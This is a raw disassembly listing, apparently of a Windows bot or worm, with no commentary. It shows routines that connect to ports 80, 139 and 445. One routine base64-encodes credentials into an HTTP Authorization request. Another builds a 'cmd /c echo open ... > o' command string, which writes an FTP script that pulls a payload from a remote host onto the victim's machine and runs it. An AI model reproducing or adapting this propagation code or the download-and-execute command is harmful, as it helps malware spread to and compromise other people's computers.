arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D48
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D94[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D158
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F40
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACE0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DD8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAFA4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB03C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2670580h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB5C4, 1
		jnz	short loc_40D888
		or	byte_4DB5C4, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321F8
		add	eax, 6
		mov	dword_4CDCC4, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
